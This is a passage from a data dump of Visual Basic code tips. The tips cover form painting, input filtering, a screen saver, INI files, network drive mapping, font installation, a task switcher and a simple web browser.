1, FormName.Height), RGB(R%, G%, B%), BF\n End Select\n x = x + Cycles\n R% = R% + RInc%: G% = G% + GInc%: B% = B% + BInc%\n If R% > 255 Then R% = 255\n If R% < 0 Then R% = 0\n If G% > 255 Then G% = 255\n If G% < 0 Then G% = 0\n If B% > 255 Then B% = 255\n If B% < 0 Then B% = 0\n Next z\nEnd Sub\n\n\nTo paint a form call the PaintForm procedure as follows: \n\nPaintForm Me, 1, 100, 0, 255, 1, 0, -1\n\n\nExperiment with the parameters and see what you can come up with. Keep the values for the incrementing low so as to create a smooth transition, whether they are negative or positive numbers."},{"WorldId":1,"id":158,"LineNumber":1,"line":"Function PurgeNumericInput (StringVal As Variant) As Variant\n On Local Error Resume Next\n Dim x As Integer\n Dim WorkString As String\n \n If Len(Trim(StringVal)) = 0 Then Exit Function ' this is an empty string\n For x = 1 To Len(StringVal)\n Select Case Mid(StringVal, x, 1)\n Case \"0\" To \"9\", \".\" 'Is this character a number or decimal?\n WorkString = WorkString + Mid(StringVal, x, 1) ' Add it to the string being built\n End Select\n Next x\n PurgeNumericInput = WorkString 'Return the purged string (containing only numbers and decimals\nEnd Function\n\n\nYou then just need to call the function passing a string argument to it. An example is shown below. \n\nSub Command1_Click\n Dim NewString as Variant\n NewString = PurgeNumericInput(\"$44Embedded letters and spaces 33 a few more pieces of garbage .9\")\n If Val(NewString) 0 Then\n MsgBox \"The Value is: \" & NewString\n Else\n MsgBox \"The Value is ZERO or non-numeric\"\n End If\nEnd Sub\n\n\nNotice how much alphanumeric garbage was placed in the string argument. However, the returned value should be 4433.9! Two questions might arise when using this type of example. \n#1 - What if the string was \"0\"? This could be determined by checking the length of the string (variant) returned. If the user entered a \"0\" then the length of the string would be > 0. \n#2 - What if the string contains more than one decimal? You could use INSTR to test for the number of decimals. However, chances are, if the user entered more than one decimal you might better have them re-enter that field again anyway. <sly smile>"},{"WorldId":1,"id":162,"LineNumber":1,"line":"In order to accomplish this task, start a new Visual Basic project. This example only requires a form - no VBXs or additional modules necessary. On the form, set the following properties:\n\nΓÇóCaption = \"\" ΓÇóControlBox = False ΓÇóMinButton = False ΓÇóMaxButton = False ΓÇóBorderStyle = 0 ' None ΓÇóWindowState = 2 ' Maximized ΓÇóBackColor = Black \n\nThe next order of business is to place a line (shape control) on the form. Draw it to any orientation and color you wish. Set the color by using the BorderColor property. \nThe last control that you will need to place on the form is a timer control. Set the timer's interval property anywhere from 100 to 500 (1/10 to 1/2 of a second). \nIn the general declarations section of the form you will need to declare two API functions. The first of these (SetWindowPos) is used to enable the form to stay on top of all other windows. The second (ShowCursor) is used to hide the mouse pointer while the screen saver runs and to restore it when the screen saver ends. The declares look like the following: \n\nFor VB3:\n Declare Function SetWindowPos Lib \"user\" (ByVal h%, ByVal hb%, ByVal x%, ByVal Y%, ByVal cx%, ByVal cy%, ByVal f%) As Integer\n Declare Function ShowCursor Lib \"User\" (ByVal bShow As Integer) As Integer\nFor VB4:\n Private Declare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\n Private Declare Function ShowCursor Lib \"user32\" (ByVal bShow As Long) As Long\n\nThe first SUB we will write will be the routine that we will call to keep the form always on top. Place this SUB into the general declarations section of the form. \n\nSub AlwaysOnTop (FrmID As Form, OnTop As Integer)\n ' This function uses an argument to determine whether\n ' to make the specified form always on top or not\n Const SWP_NOMOVE = 2\n Const SWP_NOSIZE = 1\n Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE\n Const HWND_TOPMOST = -1\n Const HWND_NOTOPMOST = -2\n If OnTop Then\n OnTop = SetWindowPos(FrmID.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)\n Else\n OnTop = SetWindowPos(FrmID.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)\n End If\nEnd Sub\n\nThe next issue we will take up will be the issue of getting the program started. This is of course the Form_Load event procedure. The actions we will take in this procedure is to randomize the number generator (so that the line moves around differently each time the screen saver is activated). We will also call the AlwaysOnTop SUB so that it will appear over everything else on the screen. \n\nSub Form_Load ()\n Dim x As Integer ' Declare variable\n Randomize Timer ' Variety is the spice of life\n AlwaysOnTop Me, True ' Cover everything else on screen\n x = ShowCursor(False) ' Hide MousePointer while running\nEnd Sub\n\nNow, before we handle the logic of making the line bounce around the screen, let's go ahead and handle shutting the program down. Most screen savers terminate when one of two things happen. Our's will end when the mouse is moved or when a key is pressed on the keyboard. Therefore we will need to trap two event procedures. Since there are no controls on the screen that can generate event procedures, we need to trap them at the form level. We will use the Form_KeyPress and Form_MouseMove event procedures to handle this. They appear as follows: \n\nSub Form_KeyPress (KeyAscii As Integer)\n Dim x As Integer\n x = ShowCursor(True) ' Restore Mousepointer\n Unload Me\n End\nEnd Sub\nSub Form_MouseMove (Button As Integer, Shift As Integer, x As Single, Y As Single)\n Static Count As Integer\n Count = Count + 1 ' Give enough time for program to run\n If Count > 5 Then\n x = ShowCursor(True) ' Restore Mousepointer\n Unload Me\n End\n End If\nEnd Sub\n\nFinally, we need to handle the logic necessary to cause motion on the screen. I have created two sets of variables. One set DirXX handles the direction (1=Right or Down and 2=Left or Up) of the motion for each of the line control's four coordinates. The other set SpeedXX handles the speed factor for each of the line's four coordinates. These will be generated randomly (hence the Randomize Timer statement in Form_Load). These variables are Static, which of course means that each time the event procedure is called, they will retain their values from the preceeding time. The first time through the procedure they will also be set to zero. Therefore the program will assign these random values the first time through. From that point on, the program checks the direction of movement of each of the four coordinates and relocates them to a new position (the distance governed by the SpeedXX variable). The last section of code simply checks these coordinates to see if they left the visible area of the form and if they did their direction is reversed. This of course goes in the Timer's event procedure. \n\nSub Timer1_Timer ()\n Static DirX1 As Integer, Speedx1 As Integer\n Static DirX2 As Integer, Speedx2 As Integer\n Static DirY1 As Integer, Speedy1 As Integer\n Static DirY2 As Integer, Speedy2 As Integer\n ' Set initial Direction\n If DirX1 = 0 Then DirX1 = Rnd * 3\n If DirX2 = 0 Then DirX2 = Rnd * 3\n If DirY1 = 0 Then DirY1 = Rnd * 3\n If DirY2 = 0 Then DirY2 = Rnd * 3\n ' Set Speed\n If Speedx1 = 0 Then Speedx1 = 60 * Int(Rnd * 5)\n If Speedx2 = 0 Then Speedx2 = 60 * Int((Rnd * 5))\n If Speedy1 = 0 Then Speedy1 = 60 * Int((Rnd * 5))\n If Speedy2 = 0 Then Speedy2 = 60 * Int((Rnd * 5))\n ' Handle Movement\n ' If X1=1 then moving right else moving left\n ' If X2=1 then moving right else moving left\n ' If Y1=1 then moving down else moving up\n ' If Y2=1 then moving down else moving up\n If DirX1 = 1 Then\n Line1.X1 = Line1.X1 + Speedx1\n Else\n Line1.X1 = Line1.X1 - Speedx1\n End If\n If DirX2 = 1 Then\n Line1.X2 = Line1.X2 + Speedx2\n Else\n Line1.X2 = Line1.X2 - Speedx1\n End If\n If DirY1 = 1 Then\n Line1.Y1 = Line1.Y1 + Speedy1\n Else\n Line1.Y1 = Line1.Y1 - Speedy1\n End If\n If DirY2 = 1 Then\n Line1.Y2 = Line1.Y2 + Speedy2\n Else\n Line1.Y2 = Line1.Y2 - Speedy2\n End If\n ' Handle bouncing (change directions if off screen)\n If Line1.X1 < 0 Then DirX1 = 1\n If Line1.X1 > Me.ScaleWidth Then DirX1 = 2\n If Line1.X2 < 0 Then DirX2 = 1\n If Line1.X2 > Me.ScaleWidth Then DirX2 = 2\n If Line1.Y1 < 0 Then DirY1 = 1\n If Line1.Y1 > Me.ScaleHeight Then DirY1 = 2\n If Line1.Y2 < 0 Then DirY2 = 1\n If Line1.Y2 > Me.ScaleHeight Then DirY2 = 2\nEnd Sub\n\nOnce you have entered all the preceeding code you have a nice little program that looks like a screen saver. You can compile it into an EXE and run it anytime you like. However, to make it into a true Windows screen-saver you need to do the following steps:\n\n1.Choose \"Make EXE File\" from the File menu. 2.In the \"Application Title\" text box, type in the following: SCRNSAVE:VB4UandME Example 3.Change the extension in the EXE filename to have an SCR extension instead of an EXE. 4.Change the destination directory to your Windows directory (where all screen savers need to reside) 5.Click OK and let the compilation proceed. \nAt this point, you should be able to bring up the Windows Control Panel and select VB4UandME Example as the new screen saver. For Windows 3.1 this is found in the Desktop icon within Control Panel. For Windows 95, it is found in the Display icon in Control Panel (second tab)."},{"WorldId":1,"id":163,"LineNumber":1,"line":"The first step is to add a label to a form. This example assumes you are using a label named \"Label1\". This label will be used in the DDE conversation between Program Manager and your proram. This example contains two SUBs. Both are placed into a BAS module. The first SUB creates the Program Manager Group, and the second SUB creates an icon within that group. These SUBs are called independantly (to allow for flexibility and clarity of illustration). \nThe following SUB creates the Program Manager group. It requires 3 arguments to be passed to it. They are: \n1.The form that contains Label1 (x) 2.A string variable containing the group's name (GroupName$) 3.A string variable containing the path to the group (*.GRP) file (GroupPath$) \n\n\nSub CreateProgManGroup (x As Form, GroupName$, GroupPath$)\n Dim i%, z% 'Declare required working variables\n Screen.MousePointer = 11 'hourglass mousepointer while working\n On Error Resume Next 'Not good to have program crash :-)\n ' Set LinkTopic & LinkMode parameters\n x.Label1.LinkTopic = \"ProgMan|Progman\"\n x.Label1.LinkMode = 2\n For i% = 1 To 10 ' Give the DDE process time to take place\n z% = DoEvents() \n Next \n x.Label1.LinkTimeout = 100 \n ' Actually create the group now\n x.Label1.LinkExecute \"[CreateGroup(\" + GroupName$ + Chr$(44) + GroupPath$ + \")]\" \n ' Reset label properties and mousepointer\n x.Label1.LinkTimeout = 50\n x.Label1.LinkMode = 0\n Screen.MousePointer = 0\nEnd Sub\n\nThe following SUB creates the Program Manager icon. It requires 3 arguments to be passed to it. They are: \n1.The form that contains Label1 (x) 2.A string variable containing the icon's Command Line (CmdLine$) 3.A string variable containing the icon's Caption (IconTitle$) \n\n\nSub CreateProgManItem (x As Form, CmdLine$, IconTitle$)\n Dim i%, z% 'Declare required working variables\n Screen.MousePointer = 11 'hourglass mousepointer while working\n On Error Resume Next 'Not good to have program crash :-)\n ' Set LinkTopic & LinkMode parameters\n x.Label1.LinkTopic = \"ProgMan|Progman\"\n x.Label1.LinkMode = 2\n For i% = 1 To 10 ' Give the DDE process time to take place\n z% = DoEvents() \n Next \n x.Label1.LinkTimeout = 100\n x.Label1.LinkExecute \"[AddItem(\" + CmdLine$ + Chr$(44) + IconTitle$ + Chr$(44) + \",,)]\" \n ' Reset label properties and mousepointer\n x.Label1.LinkTimeout = 50\n x.Label1.LinkMode = 0 \n Screen.MousePointer = 0\nEnd Sub\n\n\nFinally, the last thing you need is for an event procedure (or any other form level routine) to call the 2 SUBs and provide the necessary information. In this example, I am creating a group window called VB Library and am placing it into the Windows directory. Then, I am creating an icon called \"VB Library\" within the group. This example creates an icon for the currently running program which happens to be Library.EXE. \n\n' Refer to Tips 23 and 24 for obtaining the Windows Directory\nCreateProgManGroup Me, \"VB Library\", \"c:\\windows\" \nCreateProgManItem Me, app.Path + \"\\library\", \"VB Library\"\n\n\nA little side note here. Thanks to Microsoft making Windows 95 backward-compatible, this routine runs fine within it. The group file will appear as an entry in the Start Menu's Programs section and the icon will be a sub-menu of that entry."},{"WorldId":1,"id":164,"LineNumber":1,"line":"Sub CenterChild (Parent As Form, Child As Form)\n Dim iTop As Integer\n Dim iLeft As Integer\n If Parent.WindowState <> 0 Then Exit Sub\n iTop = ((Parent.Height - Child.Height) \\ 2)\n iLeft = ((Parent.Width - Child.Width) \\ 2)\n Child.Move iLeft, iTop ' (This is more efficient than setting Top and Left properties)\nEnd Sub\n\n\nThe next thing you will need to do is actually call the CenterChild procedure. I have placed the call to CenterChild within the child window's Form_Click event procedure. \n\nSub Form_Click ()\n CenterChild MDIForm1, Form1\nEnd Sub"},{"WorldId":1,"id":174,"LineNumber":1,"line":"Create a new module called: INI_SM.BAS\nAdd an attribute:\nAttribute VB_Name = \"ini_sm\"\nAdd this code:\n'*******************************************************\n'* Procedure Name: sReadINI *\n'*=====================================================*\n'*Returns a string from an INI file. To use, call the *\n'*functions and pass it the Section, KeyName and INI *\n'*File Name, [sRet=sReadINI(Section,Key1,INIFile)]. *\n'*val command. *\n'*******************************************************\nFunction ReadINI(Section, KeyName, filename As String) As String\n Dim sRet As String\n sRet = String(255, Chr(0))\n ReadINI = Left(sRet, GetPrivateProfileString(Section, ByVal KeyName, \"\", sRet, Len(sRet), filename))\nEnd Function\n'*******************************************************\n'* Procedure Name: WriteINI *\n'*=====================================================*\n'*Writes a string to an INI file. To use, call the *\n'*function and pass it the sSection, sKeyName, the New *\n'*String and the INI File Name, *\n'*[Ret=WriteINI(Section,Key,String,INIFile)]. *\n'*Returns a 1 if there were no errors and *\n'*a 0 if there were errors. *\n'*******************************************************\nFunction writeini(sSection As String, sKeyName As String, sNewString As String, sFileName) As Integer\n Dim r\n r = WritePrivateProfileString(sSection, sKeyName, sNewString, sFileName)\nEnd Function"},{"WorldId":1,"id":179,"LineNumber":1,"line":"Const WM_USER = 1024\nConst LB_SETHORIZONTALEXTENT = (WM_USER + 21)\nDim nRet As Long\nDim nNewWidth As Integer\nnNewWidth = list1.Width + 100 'new width in pixels\nnRet = SendMessage(list1.hwnd, LB_SETHORIZONTALEXTENT, nNewWidth, ByVal 0&)"},{"WorldId":1,"id":196,"LineNumber":1,"line":"Public Function NetUse(sLocalDevice As String, sShareName As String, Optional sUserID As Variant, Optional sPassword As Variant, Optional varPersistent As Variant) As Long\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'' ''\n'' The function, NetUseDrive, maps a network drive in the same fashion as 'NET USE' ''\n'' ''\n'' The function accepts the following parameters: ''\n'' sLocalDevice - a (case insensitive) string containing the local device to redirect (ie. \"F:\" or \"LPT1\"). If sLocalDevice ''\n'' is empty or is undefined/NULL, a connection to sShareName is made without redirecting a local device (ie. pipe/IPC$). ''\n'' sShareName - the UNC Name for the share to connect to. Must be in the format of \"\\\\server\\share\" ''\n'' sUserID - optional, the User ID to login with (ie. \"TAS01\"). If it isn't passed, the User ID ''\n'' and password of the person currently logged in is used. (Actually the program is running in) ''\n'' sPassword - optional, the Password to login with. If it isn't passed, the User ID and password of ''\n'' the person currently logged in is used. (Actually the program is running in) ''\n'' varPersistent - must be passed True (-1) or False (0) to be considered. Default is True. If False, the connection remains ''\n'' until disconnected, or until the user is logged off. ''\n'' ''\n'' The following (long datatype) result codes are returned: ''\n'' NO_ERROR (0) Drive sLocalDevice was mapped successfully to sShareName. ''\n'' ERROR_ACCESS_DENIED (5) Access to the network resource was denied. ''\n'' ERROR_ALREADY_ASSIGNED (85) The local device specified by sShareName is already connected to a network ''\n'' resource. ''\n'' ERROR_BAD_DEV_TYPE (66) The type of local device and the type of network resource do not match. ''\n'' ERROR_BAD_DEVICE (1200) The value specified by sLocalDevice is invalid. ''\n'' ERROR_BAD_NET_NAME (67) The value specified by sShareName is not acceptable to any network resource ''\n'' provider. The resource name is invalid, or the named resource cannot be located. ''\n'' ERROR_BAD_PROFILE (1206) The user profile is in an incorrect format. ''\n'' ERROR_BAD_PROVIDER (1204) The default network provider is invalid. ''\n'' ERROR_BUSY (170) The router or provider is busy, possibly initializing. The caller should retry. ''\n'' ERROR_CANNOT_OPEN_PROFILE (1205) The system is unable to open the user profile to process persistent connections. ''\n'' ERROR_DEVICE_ALREADY_REMEMBERED (1202) An entry for the device specified in sShareName is already in the user profile. ''\n'' ERROR_EXTENDED_ERROR (1208) An unknown network-specific error occured. ''\n'' ERROR_INVALID_PASSWORD (86) The password sPassword is invalid. ''\n'' ERROR_NO_NET_OR_BAD_PATH (1203) A network component has not started, or the specified name could not be handled. ''\n'' ERROR_NO_NETWORK (1222) There is no network present. ''\n'' ''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nDim netAddCxn As NETRESOURCE\nDim lCxnType As Long\nDim rc As Long\nOn Error GoTo ErrorHandler\n'Identify the type of connection to make. If unidentified, then return ERROR_BAD_DEVICE and exit the subroutine.\nIf (sLocalDevice Like \"[D-Z]:\") Then lCxnType = RESOURCETYPE_DISK 'Network drive\nIf (sLocalDevice Like \"LPT[1-3]\") Then lCxnType = RESOURCETYPE_PRINT 'Network printer\nIf ((sLocalDevice = \"\") And (sShareName Like \"\\\\*\\IPC$\")) Then lCxnType = RESOURCETYPE_ANY 'Pipe\nIf ((Not sLocalDevice Like \"[D-Z]:\") And (Not sLocalDevice Like \"LPT[1-3]\") And ((Not sShareName Like \"\\\\*\\IPC$\") And (Not sLocalDevice = \"\"))) Or (Not sShareName Like \"\\\\*\\*\") Then\n NetUse = ERROR_BAD_DEVICE\n GoTo EndOfFunction\nEnd If\n'Handle varPersistent\nIf IsMissing(varPersistent) Then\n varPersistent = CONNECT_UPDATE_PROFILE\nElse\n If varPersistent = False Then\n varPersistent = 0&\n Else\n varPersistent = CONNECT_UPDATE_PROFILE\n End If\nEnd If\n'Fill in the required members of netAddCxn\nWith netAddCxn\n .dwType = RESOURCETYPE_DISK\n .lpLocalName = sLocalDevice\n .lpRemoteName = sShareName\n .lpProvider = Chr(0)\nEnd With\n'Perform the Net Use statement\nIf IsMissing(sUserID) Or IsMissing(sPassword) Then\n rc = WNetAddConnection2(netAddCxn, sNull, sNull, varPersistent)\nElse\n rc = WNetAddConnection2(netAddCxn, sPassword, sUserID, varPersistent)\nEnd If\n'Process and return the result\nNetUse = rc\n\n'Handle Errors\nGoTo EndOfFunction\nErrorHandler:\nvarTemp = MsgBox(\"Error #\" & Err.Number & Chr(10) & Err.Description, vbCritical)\nEndOfFunction:\nEnd Function"},{"WorldId":1,"id":242,"LineNumber":1,"line":"On a form, add a 3 command buttons (cmdToggle, cmdTurnOff, cmdTurnOff) and a label. Add the following code to the form:\nPrivate Function CapsLock() As Integer\n\tCapsLock = GetKeyState(VK_CAPITAL) And 1 = 1\nEnd Function\nPrivate Sub Form_Load()\n\tIf CapsLock() = 1 Then Label1 = \"On\" Else Label1 = \"Off\"\nEnd Sub\nPrivate Sub cmdToggle_Click()\n\tGetKeyboardState kbArray\n\tkbArray.kbByte(VK_CAPITAL) = IIf(kbArray.kbByte(VK_CAPITAL) = 1, 0, 1)\n\tSetKeyboardState kbArray\n\tLabel1 = IIf(CapsLock() = 1, \"On\", \"Off\")\nEnd Sub\nPrivate Sub cmdTurnOn_Click()\n\tGetKeyboardState kbArray\n\tkbArray.kbByte(VK_CAPITAL) = 1\n\tSetKeyboardState kbArray\n\tLabel1 = IIf(CapsLock() = 1, \"On\", \"Off\")\nEnd Sub\nPrivate Sub cmdTurnOff_Click()\n\tGetKeyboardState kbArray\n\tkbArray.kbByte(VK_CAPITAL) = 0\n\tSetKeyboardState kbArray\n\tLabel1 = IIf(CapsLock() = 1, \"On\", \"Off\")\nEnd Sub"},{"WorldId":1,"id":247,"LineNumber":1,"line":"Public Sub DegreesToXY(CenterX As _\n Long, CenterY As Long, degree _\n As Double, radiusX As Long, _\n radiusY As Long, X As Long, Y _\n As Long)\nDim convert As Double\n convert = 3.141593 / 180 \n 'pi divided by 180\n X = CenterX - (Sin(-degree * _\n convert) * radiusX)\n Y = CenterY - (Sin((90 + _\n (degree)) * convert) * radiusY)\nEnd Sub"},{"WorldId":1,"id":254,"LineNumber":1,"line":"Public Function BrowseForFolder(hWndOwner As Long, sPrompt As String) As String\n Dim iNull As Integer\n Dim lpIDList As Long\n Dim lResult As Long\n Dim sPath As String\n Dim udtBI As BrowseInfo\n With udtBI\n .hWndOwner = hWndOwner\n .lpszTitle = lstrcat(sPrompt, \"\")\n .ulFlags = BIF_RETURNONLYFSDIRS\n End With\n lpIDList = SHBrowseForFolder(udtBI)\n If lpIDList Then\n sPath = String$(MAX_PATH, 0)\n lResult = SHGetPathFromIDList(lpIDList, sPath)\n Call CoTaskMemFree(lpIDList)\n iNull = InStr(sPath, vbNullChar)\n If iNull Then\n sPath = Left$(sPath, iNull - 1)\n End If\n End If\n BrowseForFolder = sPath\nEnd Function"},{"WorldId":1,"id":255,"LineNumber":1,"line":"Private Sub Add32Font(Filename As String)\n #If Win32 Then\n Dim lResult As Long\n Dim strFontPath As String, strFontname As String\n Dim hKey As Long\n \n 'This is the font name and path\n \n strFontPath = Space$(MAX_PATH)\n strFontname = Filename\n \n If NT Then\n 'Windows NT - Call and get the path to the\n '\\windows\\system directory\n lResult = GetWindowsDirectory(strFontPath, _\n MAX_PATH)\n If lResult <> 0 Then Mid$(strFontPath, _\n lResult + 1, 1) = \"\\\"\n strFontPath = RTrim$(strFontPath)\n Else\n 'Win95 - Call and get the path to the\n '\\windows\\fonts directory\n lResult = GetWindowsDirectory(strFontPath, _\n MAX_PATH)\n If lResult <> 0 Then Mid$(strFontPath, _\n lResult + 1) = \"\\fonts\\\"\n strFontPath = RTrim$(strFontPath)\n End If\n \n 'This Actually adds the font to the system's available\n 'fonts for this windows session\n lResult = AddFontResource(strFontPath + strFontname)\n ' If lResult = 0 Then MsgBox \"Error Occured \" & _\n \"Calling AddFontResource\"\n \n 'Write the registry value to permanently install the\n 'font\n lResult = RegOpenKey(HKEY_LOCAL_MACHINE, _\n \"software\\microsoft\\windows\\currentversion\\\" & _\n \"fonts\", hKey)\n lResult = RegSetValueEx(hKey, \"Proscape Font \" & strFontname & _\n \" (TrueType)\", 0, REG_SZ, ByVal strFontname, _\n Len(strFontname))\n lResult = RegCloseKey(hKey)\n \n 'This call broadcasts a message to let all top-level\n 'windows know that a font change has occured so they\n 'can reload their font list\n lResult = PostMessage(HWND_BROADCAST, WM_FONTCHANGE, _\n 0, 0)\n \n ' MsgBox \"Font Added!\"\n #End If\nEnd Sub\n\nPrivate Function NT() As Boolean\n #If Win32 Then\n Dim lResult As Long\n Dim vi As OSVERSIONINFO\n \n vi.dwOSVersionInfoSize = Len(vi)\n lResult = GetVersionEx(vi)\n \n If vi.dwPlatformId And VER_PLATFORM_WIN32_NT Then\n NT = True\n Else\n NT = False\n End If\n #End If\n \nEnd Function\nPublic Sub Add16Font(Filename As String)\n #If Win16 Then\n On Error Resume Next\n Dim sName As String, sFont As String, sDir As String, I As Integer\nDim r as Long\n \n ' Windows' System directory\n sDir = GetWinSysDir()\n \n ' Name of font resource file\n I = InStr(Filename, \".\")\n If I > 0 Then\n sFont = Left(Filename, I - 1) + \".fot\"\n Else\n sFont = Filename + \".fot\"\n End If\n sFont = sDir & \"\\\" & sFont\n Kill sDir & \"\\\" & sFont\n \n sName = \"Font \" & Filename & \" (True Type)\"\n r = CreateScalableFontResource%(0, sFont, Filename, sDir) '\nCreate the font resource file\n r = AddFontResource(sFont) ' Add\nresource to Windows font table\n r = WriteProfileString(\"Fonts\", sName, sFont) ' Make\nchanges to WIN.INI to reflect new font\n r = SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0&) ' Let\nother applications know of the change:\n #End If\n \nEnd Sub\n\nFunction GetWinSysDir() As String\n #If Win16 Then\n ' returns Windows System directory\n Dim Buffer As String * 254, r As Integer, sDir As String\n \n r = GetSystemDirectory(Buffer, 254)\n sDir = Left(Buffer, r)\n \n If Right(sDir, 1) = \"\\\" Then sDir = Left(sDir, Len(sDir) - 1)\n GetWinSysDir = sDir\n #End If\n \nEnd Function\n\nFunction GetWinDir() As String\n #If Win32 Then\n ' returns Windows directory\n Dim Buffer As String * 254, r As Long, sDir As String\n \n r = GetWindowsDirectory(Buffer, 254)\n sDir = Left(Buffer, r)\n \n If Right(sDir, 1) = \"\\\" Then sDir = Left(sDir, Len(sDir) - 1)\n GetWinDir = sDir\n #End If\n \nEnd Function\nPublic Function Reverse(Text As String) As String\n On Error Resume Next\n Dim I%, mx%, result$\n mx = Len(Text)\n For I = mx To 1 Step -1\n result = result + Mid$(Text, I, 1)\n Next\n Reverse = result\nEnd Function"},{"WorldId":1,"id":275,"LineNumber":1,"line":"Sub cmdExit_Click ()\n Unload Me ' Get me out of here!\n Set activate = Nothing ' Kill Form reference for good measure\n End Sub\n Sub cmdRefresh_Click ()\n FindAllApps ' Update list of tasks\n End Sub\n Sub cmdSwitch_Click ()\n Dim hWnd As Long ' handle to window\n Dim x As Long ' work area\n Dim lngWW As Long ' Window Style bits\n If lstApp.ListIndex < 0 Then Beep: Exit Sub\n ' Get window handle from listbox array\n hWnd = lstApp.ItemData(lstApp.ListIndex)\n ' Get style bits for window\n lngWW = GetWindowLong(hWnd, GWL_STYLE)\n ' If minimized do a restore\n If lngWW And WS_MINIMIZE Then \n x = ShowWindow(hWnd, SW_RESTORE)\n End If\n ' Move window to top of z-order/activate; no move/resize\n x = SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, _\n SWP_NOMOVE Or SWP_NOSIZE Or SWP_SHOWWINDOW)\n End Sub\n Sub FindAllApps ()\n Dim hwCurr As Long\n Dim intLen As Long\n Dim strTitle As String\n ' process all top-level windows in master window list\n lstApp.Clear\n hwCurr = GetWindow(Me.hWnd, GW_HWNDFIRST) ' get first window\n Do While hwCurr ' repeat for all windows\n If hwCurr <> Me.hWnd And TaskWindow(hwCurr) Then\n intLen = GetWindowTextLength(hwCurr) + 1 ' Get length\n strTitle = Space$(intLen) ' Get caption\n intLen = GetWindowText(hwCurr, strTitle, intLen)\n If intLen > 0 Then ' If we have anything, add it\n lstApp.AddItem strTitle\n ' and let's save the window handle in the itemdata array\n lstApp.ItemData(lstApp.NewIndex) = hwCurr \n End If\n End If\n hwCurr = GetWindow(hwCurr, GW_HWNDNEXT)\n Loop\n End Sub\n Sub Form_Load ()\n IsTask = WS_VISIBLE Or WS_BORDER ' Define bits for normal task\n FindAllApps ' Update list\n End Sub\n Sub Form_Paint ()\n FindAllApps ' Update List\n End Sub\n Sub Label1_Click ()\n FindAllApps ' Update list\n End Sub\n Sub lstApp_DblClick ()\n cmdSwitch.Value = True\n End Sub\n Function TaskWindow (hwCurr As Long) As Long\n Dim lngStyle As Long\n lngStyle = GetWindowLong(hwCurr, GWL_STYLE)\n If (lngStyle And IsTask) = IsTask Then TaskWindow = True\n End Function"},{"WorldId":1,"id":425,"LineNumber":1,"line":"1)Create a new Visual Basic project.\n2)Add the Microsoft Internet Controls to your project. In \nVB6 you add new custom controls to a project by going to\nthe Project menu and choosing the Components sub-menu, and\nchoosing the control you want to add. In other versions of \nVB, consult your help on adding custom controls. The name \nof the custom control is: Microsoft Internet Control. This \nwill add two icons to your toolbox. Place the one that \nlooks like a globe (the Web Browser control) on your form \nby double-clicking it. This control will display the web \npage, so make sure you size it so that it looks presentable.\n3)Next, place a text box on the upper portion of the form--\nabove the WebBrowser Control. This will be your browser's \naddress bar. To complete the address bar, place a button \nnext to it. Change the Caption property of the button to:&Go\n4)Now add the following code to your form:\nPrivate Sub Command1_Click()\n WebBrowser1.Navigate Text1\nEnd Sub\nThat is it! Run your project and type www.microsoft.com \ninto the text box and press the GO button. (Dont forget to \nstart your Internet connection if its not already up). The \npage will load and display just like a browser!\nNow that you have an idea of how simple the control is to \nuse, you can take a little more time to create some more \nsophisticated functionality for your browser:\n1)Since the world wide wait can be taxing on your browser \nusers, you can create a status bar at the bottom of your \nform that lets them know how much of their page has loaded. \nYou can use the following web browser events (see the \nMicrosoft Internet Controls help file, if you need examples)\nWebBrowser1_DownloadBegin\nWebBrowser1_DownloadComplete\nWebBrowser1_ProgressChange\n2)Create a menu system on your form--just like IE and \nNetscape. See the VB help if youve never done this before. \nYou'll want to at least create &File and &Exit. \n3)Create a combobox instead of a text box that remembers \nold URLs.\n4)Let your imagination run wild!\n5) For more features, check out the other browser \nsubmissions to this site. An outstanding example is:\nhttp://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=2628\n6)Some other features created by other users:\nPassive Matrix(mailto:Passive_matrix@hotmail.com)\nHere are some helpful button commands...\nback button \nWebBrowser1.GoBack\nForward button\nWebBrowser1.GoForward\nrefresh\nWebBrowser1.Refresh\nstop\n WebBrowser1.Stop\nhome \nWebBrowser1.Navigate (\"www.cow.com\")\nBy William:mailto:wfloor@rendo.dekooi.nl\nAn answer to the questions about the favorites and the bookmarks:\n1) Make a \ncommandbutton cmdAdd\n2) Make a commandbutton cmdFav\n3) Make a listbox \nlstFavs\nThe code for cmdAdd:\nPrivate Sub cmdAdd_Click()\n FN = \nFreeFile\n Open \"favs.txt\" For Append As FN\n Print #FN, txtUrl.Text & \nChr(13)\n Close #FN\nEnd Sub\nThe code for cmdFav:\nPrivate Sub \ncmdFav_Click()\n On Error Resume Next\n FN = FreeFile\n Open \n\"favs.txt\" For Input As FN\n lstFavs.Visible = True\n Do Until \nEOF(FN)\n Line Input #FN, NextLine$\n lstFavs.AddItem NextLine$\n \n Loop\n Close #FN\nEnd Sub\nThe code for lstFavs:\nPrivate Sub \nlstFavs_Click()\n txtUrl.Text = lstFavs.List(lstFavs.ListIndex)\n \ntxtUrl_KeyPress 13\n lstFavs.Visible = False\n Close #FN\nEnd Sub\nBy:CheaTzZ mailto:cheatzz@xcheater.com\nTo print:\nPrivate Sub printmenu_Click()\n Dim eQuery As OLECMDF\n On \nError Resume Next\n eQuery = WebBrowser1.QueryStatusWB(OLECMDID_PRINT)\n \nIf Err.Number = 0 Then\n If eQuery And OLECMDF_ENABLED Then\n \nWebBrowser1.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER, \"\", \"\"\n \nElse\n MsgBox \"The Print command is currently disabled.\"\n \nEnd If\n Else\n 